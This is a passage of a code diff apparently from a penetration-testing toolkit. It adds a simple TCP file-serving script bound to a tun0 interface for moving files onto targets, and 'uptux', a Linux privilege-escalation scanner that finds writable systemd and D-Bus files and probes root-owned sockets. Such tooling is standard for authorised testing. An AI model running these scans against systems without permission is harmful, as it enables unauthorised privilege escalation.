+				check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER
+			done
+		fi
+	done
+fi

+ 42 - 0
upload_file.py

@@ -0,0 +1,42 @@
+import socket
+import sys
+import netifaces as ni
+
+if len(sys.argv) < 2:
+    print("Usage: %s <file>" % sys.argv[0])
+    exit(1)
+
+# Create a TCP/IP socket
+FILENAME = sys.argv[1]
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+interface = "tun0"
+if not interface in ni.interfaces():
+    interface = ni.interfaces()[0]
+
+
+addresses = ni.ifaddresses(interface)
+address = addresses[next(iter(addresses))][0]["addr"]
+
+# Bind the socket to the port
+server_address = (address, 8888)
+print('starting up on %s port %s' % server_address)
+sock.bind(server_address)
+
+sock.listen(1)
+
+while True:
+    # Wait for a connection
+    print('waiting for a connection')
+    connection, client_address = sock.accept()
+
+    try:
+        print('connection from', client_address)
+
+        with open(FILENAME, "rb") as f:
+            content = f.read()
+            connection.sendall(content)
+
+    finally:
+        # Clean up the connection
+        connection.close()

+ 804 - 0
uptux.py

@@ -0,0 +1,804 @@
+#!/usr/bin/env python
+
+"""
+uptux by initstring (gitlab.com/initstring)
+
+This tool checks for configuration issues on Linux systems that may lead to
+privilege escalation.
+
+All functionality is contained in a single file, because installing packages
+in restricted shells is a pain.
+"""
+
+
+import os
+import sys
+import socket
+import getpass
+import argparse
+import datetime
+import subprocess
+import inspect
+import glob
+import re
+
+
+BANNER = r'''
+
+
+
+                      ____ ___      ___________            
+                     |    |   \_____\__    ___/_ _____  ___
+                     |    |   /\____ \|    | |  |  \  \/  /
+                     |    |  / |  |_> >    | |  |  />    < 
+                     |______/  |   __/|____| |____//__/\_ \
+                               |__|                      \/
+                     
+                     
+                   
+                        PrivEsc for modern Linux systems
+                          github.com/initstring/uptux
+
+
+'''
+
+
+########################## Global Declarations Follow #########################
+
+LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now())
+PARSER = argparse.ArgumentParser(description=
+                                 "PrivEsc for modern Linux systems,"
+                                 " by initstring (gitlab.com/initstring)")
+PARSER.add_argument('-n', '--nologging', action='store_true',
+                    help='do not write output to a logfile')
+PARSER.add_argument('-d', '--debug', action='store_true',
+                    help='print some debugging info to the console')
+ARGS = PARSER.parse_args()
+
+## Known directories for storing systemd files.
+SYSTEMD_DIRS = ['/etc/systemd/**/',
+                '/lib/systemd/**/',
+                '/run/systemd/**/',
+                '/usr/lib/systemd/**/']
+
+## Known directories for storing D-Bus configuration files
+DBUS_DIRS = ['/etc/dbus-1/system.d/',
+             '/etc/dbus-1/session.d']
+
+# Target files that we know we cannot exploit
+NOT_VULN = ['/dev/null',
+            '.']
+
+# Used to enable/disable the relative path checks of systemd
+SYSTEMD_PATH_WRITABLE = False
+########################## End of Global Declarations #########################
+
+
+############################ Setup Functions Follow ###########################
+
+# This is the place for functions that help set up the application.
+
+def tee(text, **kwargs):
+    """Used to log and print concurrently"""
+
+    # Defining variables to print color-coded messages to the console.
+    colors = {'green': '\033[92m',
+              'blue': '\033[94m',
+              'orange': '\033[93m',
+              'red': '\033[91m',}
+    end_color = '\033[0m'
+    boxes = {'ok': colors['blue'] + '[*] ' + end_color,
+             'note': colors['green'] + '[+] ' + end_color,
+             'warn': colors['orange'] + '[!] ' + end_color,
+             'vuln': colors['red'] + '[VULNERABLE] ' + end_color,
+             'sus': colors['orange'] + '[INVESTIGATE] ' + end_color}
+
+    # If this function is called with an optional 'box=xxx' parameter, these
+    # will be prepended to the message.
+    box = kwargs.get('box', '')
+    if box:
+        box = boxes[box]
+
+    # First, just print the item to the console.
+    print(box + text)
+
+    # Then, write it to the log if logging is not disabled
+    if not ARGS.nologging:
+        try:
+            with open(LOGFILE, 'a') as logfile:
+                logfile.write(box + text + '\n')
+        except PermissionError:
+            ARGS.nologging = True
+            print(boxes['warn'] + "Could not create a log file due to"
+                  " insufficient permissions. Continuing with checks...")
+
+
+def check_handler(check, check_name, check_desc):
+    """Check handler
+
+    This function takes a dictionary of check_desc,check_name and will
+    iterate through them all.
+    """
+    tee("\n\n++++++++++  {}: {}  ++++++++++\n\n"
+        .format(check_name, check_desc))
+    tee("Starting module at {:%Y-%m-%d-%H.%M.%S}"
+        .format(datetime.datetime.now()), box='ok')
+    tee("\n")
+    check()
+    tee("\n")
+    tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n"
+        .format(datetime.datetime.now()), box='ok')
+
+
+def get_function_order(function):
+    """Helper function for build_checks_list"""
+    # Grabs the line number of a function it is passed.
+    order = function.__code__.co_firstlineno
+    return order
+
+
+def build_checks_list():
+    """Dynamically build list of checks to execute
+
+    This function will grab, in order, all functions that start with
+    'uptux_check_' and populate a list. This is then used to run the checks.
+    """
+    # Start to build a list of functions we will execute.
+    uptux_checks = []
+
+    # Get the name of this python script and all the functions inside it.
+    current_module = sys.modules[__name__]
+    all_functions = inspect.getmembers(current_module, inspect.isfunction)
+
+    # If the function name matches 'uptux_check_' we will include it.
+    for function in all_functions:
+        function_name = function[0]
+        function_object = function[1]
+        if 'uptux_check_' in function_name:
+            uptux_checks.append(function_object)
+
+    # Use the helper function to sort by line number in script.
+    uptux_checks.sort(key=get_function_order)
+
+    # Return the sorted list of functions.
+    return uptux_checks
+
+############################# End Setup Functions #############################
+
+
+########################### Helper Functions Follow ###########################
+
+# This is the place to put functions that are used by multiple "Individual
+# Checks" (those starting with uptux_check_).
+
+def shell_exec(command):
+    """Executes Linux shell commands"""
+    # Split the command into a list as needed by subprocess
+    command = command.split()
+
+    # Get both stdout and stderror from command. Grab the Python exception
+    # if there is one.
+    try:
+        out_bytes = subprocess.check_output(command,
+                                            stderr=subprocess.STDOUT)
+    except subprocess.CalledProcessError as error:
+        out_bytes = error.output
+    except OSError as error:
+        print('Could not run the following OS command. Sorry!\n'
+              '   Command: {}'.format(command))
+        print(error)
+        sys.exit()
+
+    # Return the lot as a text string for processing.
+    out_text = out_bytes.decode('utf-8')
+    out_text = out_text.rstrip()
+    return out_text
+
+
+def find_system_files(**kwargs):
+    """Locates system files
+
+    Expected kwargs: known_dirs, search_mask
+    """
+
+    # Define known Linux folders for storing service unit definitions
+    return_list = set()
+
+    # Recursively gather all service unit from the known directories
+    # and add them to a deduplicated set.
+    for directory in kwargs['known_dirs']:
+        found_files = glob.glob(directory + kwargs['search_mask'])
+        for item in found_files:
+            # We don't care about files that point to /dev/null.
+            if '/dev/null' not in os.path.realpath(item):
+                return_list.add(item)
+
+    if ARGS.debug:
+        print("DEBUG, FOUND FILES")
+        for item in return_list:
+            print(item)
+
+    return return_list
+
+
+def regex_vuln_search(**kwargs):
+    """Helper function for searching text files
+
+    This function will take a list of file paths and search through
+    them with a given regex. Relevant messages will be printed to the console
+    and log.
+
+    Expected kwargs: file_paths, regex, message_text, message_box
+    """
+    # Start a list of dictionaries for files with interesting content.
+    return_list = []
+
+    # Open up each individual file and read the text into memory.
+    for file_name in kwargs['file_paths']:
+        return_dict = {}
+
+        # Continue if we can't access the file.
+        if not os.access(file_name, os.R_OK):
+            continue
+
+        file_object = open(file_name, 'r')
+        file_text = file_object.read()
+        # Use the regex we pass in to the function to look for vulns.
+        found = re.findall(kwargs['regex'], file_text)
+
+        # Save the file name and the interesting lines of text
+        if found:
+            return_dict['file_name'] = file_name
+            return_dict['text'] = found
+            return_list.append(return_dict)
+
+    # If the function is supplied with message info, print to console and log.
+    # This function may be used instead as input to another function, so we
+    # don't always want to print here.
+    if return_list and kwargs['message_text'] and kwargs['message_box']:
+        # Print to console and log the interesting file names and content.
+        tee("")
+        tee(kwargs['message_text'], box=kwargs['message_box'])
+        for item in return_list:
+            tee("  {}:".format(item['file_name']))
+            for text in item['text']:
+                tee("    {}".format(text))
+            tee("")
+
+    if ARGS.debug:
+        print("DEBUG, SEARCH RESULTS")
+        for item in return_list:
+            print(item['file_name'])
+            for text in item['text']:
+                print("  {}".format(text))
+
+    return return_list
+
+
+def check_file_permissions(**kwargs):
+    """Helper function to check permissions and symlink status
+
+    This function will take a list of file paths, resolve them to their
+    actual location (for symlinks), and determine if they are writeable
+    by the current user. Will also alert on broken symlinks and whether
+    the target directory for the broken link is writeable.
+
+    Expected kwargs: file_paths, files_message_text, dirs_message_text,
+    message_box
+    """
+    # Start deuplicated sets for interesting files and directories.
+    writeable_files = set()
+    writeable_dirs = set()
+
+    for file_name in kwargs['file_paths']:
+
+        # Ignore known not-vulnerable targets
+        if file_name in NOT_VULN:
+            continue
+
+        # Is it a symlink? If so, get the real path and check permissions.
+        # If it is broken, check permissions on the parent directory.
+        if os.path.islink(file_name):
+            target = os.readlink(file_name)
+
+            # Some symlinks use relative path names. Find these and prepend
+            # the directory name so we can investigate properly.
+            if target[0] == '.':
+                parent_dir = os.path.dirname(file_name)
+                target = parent_dir + '/' + target
+
+            if os.path.exists(target) and os.access(target, os.W_OK):
+                writeable_files.add('{} -- symlink --> {}'
+                                    .format(file_name, target))
+            else:
+                parent_dir = os.path.dirname(target)
+                if os.access(parent_dir, os.W_OK):
+                    writeable_dirs.add((file_name, target))
+
+        # OK, not a symlink. Just check permissions.
+        else:
+            if os.access(file_name, os.W_OK):
+                writeable_files.add(file_name)
+
+    if writeable_files:
+        # Print to console and log the interesting findings.
+        tee("")
+        tee(kwargs['files_message_text'], box=kwargs['message_box'])
+        for item in writeable_files:
+            tee("  {}".format(item))
+
+    if writeable_dirs:
+        # Print to console and log the interesting findings.
+        tee("")
+        tee(kwargs['dirs_message_text'], box=kwargs['message_box'])
+        for item in writeable_dirs:
+            tee("  {} --> {}".format(item[0], item[1]))
+
+    if not writeable_files and not writeable_dirs:
+        tee("")
+        tee("No writeable targets. This is expected...",
+            box='note')
+
+
+def check_command_permission(**kwargs):
+    """Checks permissions on commands returned from inside files
+
+    Loops through a provided list of dictionaries with a file name and
+    commands found within. Checks to see if they are writeable or missing and
+    living in a writable directory.
+
+    Expected kwargs: file_paths, regex, message_text, message_box
+    """
+    # Start an empty list for the return of the writable files/commands
+    return_list = []
+
+    for item in kwargs['commands']:
+        return_dict = {}
+        return_dict['text'] = []
+
+        # The commands we have are long and may include parameters or even
+        # multiple commands with pipes and ;. We try to split this all out
+        # below.
+        for command in item['text']:
+            command = re.sub(r'[\'"]', '', command)
+            command = re.split(r'[ ;\|]', command)
+
+            # We now have a list of some commands and some parameters and
+            # other garbage. Checking for os access will clean this up for us.
+            # The lines below determine if we have write access to anything.
+            # It also checks for the case where the target does not exist  but
+            # the parent directory is writeable.
+            for split_command in command:
+                vuln = False
+
+                # Ignore known not-vulnerable targets
+                if split_command in NOT_VULN:
+                    continue
+
+                # Some systemd items will specicify a command with a path
+                # relative to the calling item, particularly timer files.
+                relative_path = os.path.dirname(item['file_name'])
+
+                # First, check the obvious - is this a writable command?
+                if os.access(split_command, os.W_OK):
+                    vuln = True
+
+                # What about if we assume it is a relative path?
+                elif os.access(relative_path + '/' + split_command, os.W_OK):
+                    vuln = True
+
+                # Or maybe it doesn't exist at all, but is in a writeable
+                # director?
+                elif (os.access(os.path.dirname(split_command), os.W_OK)
+                      and not os.path.exists(split_command)):
+                    vuln = True
+
+                # If so, pack it all up in a new dictionary which is used
+                # below for output.
+                if vuln:
+                    return_dict['file_name'] = item['file_name']
+                    return_dict['text'].append(split_command)
+                    if return_dict not in return_list:
+                        return_list.append(return_dict)
+
+    if return_list and kwargs['message_text'] and kwargs['message_box']:
+        # Print to console and log the interesting file names and content.
+        tee("")
+        tee(kwargs['message_text'], box=kwargs['message_box'])
+        for item in return_list:
+            tee("  {}:".format(item['file_name']))
+            for text in item['text']:
+                tee("    {}".format(text))
+            tee("")
+
+
+########################## Helper Functions Complete ##########################
+
+
+########################### Individual Checks Follow ##########################
+
+# Note: naming a new function 'uptux_check_xxxx' will automatically
+# include it in execution. These will trigger in the same order listed
+# in the script. The docstring will be pulled and used in the console and
+# log file, so keep it short (one line).
+
+def uptux_check_sysinfo():
+    """Gather basic OS information"""
+    # Gather a few basics for the report.
+    uname = os.uname()
+    tee("Host: {}".format(uname[1]))
+    tee("OS: {}, {}".format(uname[0], uname[3]))
+    tee("Kernel: {}".format(uname[2]))
+    tee("Current user: {} (UID {} GID {})".format(getpass.getuser(),
+                                                  os.getuid(),
+                                                  os.getgid()))
+    tee("Member of following groups:\n  {}".format(shell_exec('groups')))
+
+
+def uptux_check_systemd_paths():
+    """Check if systemd PATH is writeable"""
+    # Define the bash command.
+    command = 'systemctl show-environment'
+    output = shell_exec(command)
+
+    # Define the regex to find in the output.
+    regex = re.compile(r'PATH=(.*$)')
+
+    # Take the output from bash and split it into a list of paths.
+    output = re.findall(regex, output)
+
+    # This command may fail in some environments, only proceed if we have
+    # a good match.
+    if output:
+        output = output[0].split(':')
+
+        # Check each path - if it is writable, add it to a list.
+        writeable_paths = []
+        for item in output:
+            if os.access(item, os.W_OK):
+                writeable_paths.append(item)
+    else:
+        writeable_paths = False
+
+    # Write the status to the console and log.
+    if writeable_paths:
+        tee("The following systemd paths are writeable. THIS IS ODD!\n"
+            "See if you can combine this with a relative path Exec statement"
+            " for privesc:",
+            box='vuln')
+        for path in writeable_paths:
+            tee("  {}".format(path))
+        global SYSTEMD_PATH_WRITABLE
+        SYSTEMD_PATH_WRITABLE = True
+    else:
+        tee("No systemd paths are writeable. This is expected...",
+            box='note')
+
+
+def uptux_check_services():
+    """Inspect systemd service unit files"""
+    # Define known Linux folders for storing service unit definitions
+    units = set()
+    mask = '*.service'
+    units = find_system_files(known_dirs=SYSTEMD_DIRS,
+                              search_mask=mask)
+
+    tee("Found {} service units to analyse...\n".format(len(units)),
+        box='ok')
+
+    # Test for write access to any service files.
+    # Will resolve symlinks to their target and also check for broken links.
+    text = 'Found writeable service unit files:'
+    text2 = 'Found writeable directories referred to by broken symlinks'
+    box = 'vuln'
+    tee("")
+    tee("Checking permissions on service unit files...",
+        box='ok')
+    check_file_permissions(file_paths=units,
+                           files_message_text=text,
+                           dirs_message_text=text2,
+                           message_box=box)
+
+    # Only check relative paths if we can abuse them
+    if SYSTEMD_PATH_WRITABLE:
+        # Look for relative calls to binaries.
+        # Example: ExecStart=somfolder/somebinary
+        regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
+                           r'(?:@[^/]'    # special exec
+                           r'|-[^/]'      # special exec
+                           r'|\+[^/]'     # special exec
+                           r'|![^/]'      # special exec
+                           r'|!![^/]'     # special exec
+                           r'|)'          # or maybe no special exec
+                           r'[^/@\+!-]'   # not abs path or special exec
+                           r'.*',         # rest of line
+                           re.MULTILINE)
+        text = ('Possible relative path in an Exec statement.\n'
+                'Unless you have writeable systemd paths, you won\'t be able to'
+                ' exploit this:')
+        box = 'sus'
+        tee("")
+        tee("Checking for relative paths in service unit files [check 1]...",
+            box='ok')
+        regex_vuln_search(file_paths=units,
+                          regex=regex,
+                          message_text=text,
+                          message_box=box)
+
+        # Look for relative calls to binaries but invoked by an interpreter.
+        # Example: ExecStart=/bin/sh -c 'somefolder/somebinary'
+        regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
+                           r'(?:@[^/]'    # special exec
+                           r'|-[^/]'      # special exec
+                           r'|\+[^/]'     # special exec
+                           r'|![^/]'      # special exec
+                           r'|!![^/]'     # special exec
+                           r'|)'          # or maybe no special exec
+                           r'.*?(?:/bin/sh|/bin/bash) '   # interpreter
+                           r'(?:[\'"]|)'  # might have quotes
+                           r'(?:-[a-z]+|)'# might have params
+                           r'(?:[ ]+|)'   # might have more spaces now
+                           r'[^/-]'       # not abs path or param
+                           r'.*',         # rest of line
+                           re.MULTILINE)
+        text = ('Possible relative path invoked with an interpreter in an'
+                ' Exec statement.\n'
+                'Unless you have writable systemd paths, you won\'t be able to'
+                ' exploit this:')
+        box = 'sus'
+        tee("")
+        tee("Checking for relative paths in service unit files [check 2]...",
+            box='ok')
+        regex_vuln_search(file_paths=units,
+                          regex=regex,
+                          message_text=text,
+                          message_box=box)
+
+    # Check for write access to any commands invoked by Exec statements.
+    # Thhs regex below is used to extract command lines.
+    regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)',
+                       re.MULTILINE)
+    # We don't pass message info to this function as we need to perform more
+    # processing on the output to determine what is writeable.
+    tee("")
+    tee("Checking for write access to commands referenced in service files...",
+        box='ok')
+    service_commands = regex_vuln_search(file_paths=units,
+                                         regex=regex,
+                                         message_text='',
+                                         message_box='')
+
+    # Another helper function to take the extracted commands and check for
+    # write permissions.
+    text = 'You have write access to commands referred to in service files:'
+    box = 'vuln'
+    check_command_permission(commands=service_commands,
+                             message_text=text,
+                             message_box=box)
+
+
+def uptux_check_timer_units():
+    """Inspect systemd timer unit files"""
+    units = set()
+    mask = '*.timer'
+    units = find_system_files(known_dirs=SYSTEMD_DIRS,
+                              search_mask=mask)
+
+    tee("Found {} timer units to analyse...\n".format(len(units)),
+        box='ok')
+
+    # Test for write access to any timer files.
+    # Will resolve symlinks to their target and also check for broken links.
+    text = 'Found writeable timer unit files:'
+    text2 = 'Found writeable directories referred to by broken symlinks'
+    box = 'vuln'
+    tee("")
+    tee("Checking permissions on timer unit files...",
+        box='ok')
+    check_file_permissions(file_paths=units,
+                           files_message_text=text,
+                           dirs_message_text=text2,
+                           message_box=box)
+
+    # Timers may reference systemd services, which are already being checked.
+    # But they may reference a specific script (often a '.target' file of the
+    # same name. Check to see if the action called is writable.
+    # The regex below is used to extract these targets.
+    regex = re.compile(r'^Unit=*(.*?$)',
+                       re.MULTILINE)
+
+    # We don't pass message info to this function as we need to perform more
+    # processing on the output to determine what is writeable.
+    tee("")
+    tee("Checking for write access to commands referenced in timer files...",
+        box='ok')
+    timer_commands = regex_vuln_search(file_paths=units,
+                                       regex=regex,
+                                       message_text='',
+                                       message_box='')
+
+    # Another helper function to take the extracted commands and check for
+    # write permissions.
+    text = 'You have write access to commands referred to in timer files:'
+    box = 'vuln'
+    check_command_permission(commands=timer_commands,
+                             message_text=text,
+                             message_box=box)
+
+
+def uptux_check_socket_units():
+    """Inspect systemd socket unit files"""
+    units = set()
+    mask = '*.socket'
+    units = find_system_files(known_dirs=SYSTEMD_DIRS,
+                              search_mask=mask)
+
+    tee("Found {} socket units to analyse...\n".format(len(units)),
+        box='ok')
+
+    # Test for write access to any socket files.
+    # Will resolve symlinks to their target and also check for broken links.
+    text = 'Found writeable socket unit files:'
+    text2 = 'Found writeable directories referred to by broken symlinks'
+    box = 'vuln'
+    tee("")
+    tee("Checking permissions on socket unit files...",
+        box='ok')
+    check_file_permissions(file_paths=units,
+                           files_message_text=text,
+                           dirs_message_text=text2,
+                           message_box=box)
+
+    # Check for write access to any socket files created by a service.
+    # This can be interesting - I've seen a systemd service run a REST
+    # API on a AF_UNIX socket. This would be missed by normal privesc
+    # checks.
+    # Thhs regex below is used to extract command lines.
+    regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)',
+                       re.MULTILINE)
+
+   # We don't pass message info to this function as we need to perform more
+    # processing on the output to determine what is writeable.
+    tee("")
+    tee("Checking for write access to AF_UNIX sockets...",
+        box='ok')
+    socket_files = regex_vuln_search(file_paths=units,
+                                     regex=regex,
+                                     message_text='',
+                                     message_box='')
+
+    # Another helper function to take the extracted commands and check for
+    # write permissions.
+    text = ('You have write access to AF_UNIX socket files invoked by a'
+            ' systemd service.\n'
+            'This could be interesting. \n'
+            'You can attach to these files to look for an exploitable API.')
+    box = 'sus'
+    check_command_permission(commands=socket_files,
+                             message_text=text,
+                             message_box=box)
+
+
+def uptux_check_socket_apis():
+    """Look for web servers on UNIX domain sockets"""
+    # Use Linux ss tool to find sockets in listening state
+    command = 'ss -xlp -H state listening'
+    output = shell_exec(command)
+
+    # We get Unicode back from the above command, let's fix
+    output = str(output)
+
+    root_sockets = []
+    socket_replies = {}
+
+    # We want to grab all the strings that look like socket paths
+    sockets = re.findall(r' (/.*?) ', output)
+    abstract_sockets = re.findall(r' (@.*?) ', output)
+
+    for socket_path in sockets:
+        # For now, we are only interested in sockets owned by root
+        if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0:
+            root_sockets.append(socket_path)
+
+    tee("Trying to connect to {} unix sockets owned by uid 0..."
+        .format(len(root_sockets)), box='ok')
+    tee("")
+
+    # Cycle through each and try to send a raw HTTP GET
+    for socket_target in root_sockets:
+
+        # Define a raw HTTP GET request
+        http_get = ('GET / HTTP/1.1\r\n'
+                    'Host: localhost\r\n'
+                    '\r\n\r\n')
+
+        # Try to interact with the socket like a web API
+        client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+        client.settimeout(5)
+        try:
+            client.connect(socket_target)
+            client.sendall(http_get.encode())
+
+            reply = client.recv(8192).decode()
+
+            # If we get a reply to this, we assume it is an API
+            if reply:
+                socket_replies[socket_target] = reply
+
+        except (socket.error, UnicodeDecodeError):
+            continue
+
+    # If we have some replies, print to console
+    # Hack-ish string replacement to get a nice indent
+    if socket_replies:
+        tee("The following root-owned sockets replied as follows",
+            box='sus')
+        for socket_path in socket_replies:
+            tee("  " + socket_path + ":")
+            tee("    " + socket_replies[socket_path]
+                .replace('\n', '\n    '))
+            tee("")
+
+
+def uptux_check_dbus_issues():
+    """Inspect D-Bus configuration items"""
+    units = set()
+    mask = '*.conf'
+    units = find_system_files(known_dirs=DBUS_DIRS,
+                              search_mask=mask)
+
+    tee("Found {} D-Bus conf files to analyse...\n".format(len(units)),
+        box='ok')
+
+    # Test for write access to any files.
+    # Will resolve symlinks to their target and also check for broken links.
+    text = 'Found writeable D-Bus conf files:'
+    text2 = 'Found writeable directories referred to by broken symlinks'
+    box = 'vuln'
+    tee("")
+    tee("Checking permissions on D-Bus conf files...",
+        box='ok')
+    check_file_permissions(file_paths=units,
+                           files_message_text=text,
+                           dirs_message_text=text2,
+                           message_box=box)
+
+    # Checking for overly permission policies in D-Bus configuration files.
+    # For example, normally "policy" is defined as a username. When defined in
+    # an XML tag on its own, it applies to everyone.
+    tee("")
+    tee("Checking for overly permissive D-Bus configuration rules...",
+        box='ok')
+
+    regex = re.compile(r'<policy>.*?</policy>',
+                       re.MULTILINE|re.DOTALL)
+
+    text = ('These D-Bus policies may be overly permissive as they do not'
+            ' specify a user or group.')
+    box = 'sus'
+    regex_vuln_search(file_paths=units,
+                      regex=regex,
+                      message_text=text,
+                      message_box=box)
+
+########################## Individual Checks Complete #########################
+
+def main():
+    """Main function"""
+    print(BANNER)
+
+    # Dynamically build list of checks to execute.
+    uptux_checks = build_checks_list()
+
+    # Use the handler to execute each check.
+    for check in uptux_checks:
+        check_name = check.__name__
+        check_desc = check.__doc__
+        check_handler(check, check_name, check_desc)
+
+    # Good luck!
+    tee("")
+    tee("All done, good luck!", box='note')
+
+if __name__ == "__main__":
+    main()

Some files were not shown because too many files changed in this diff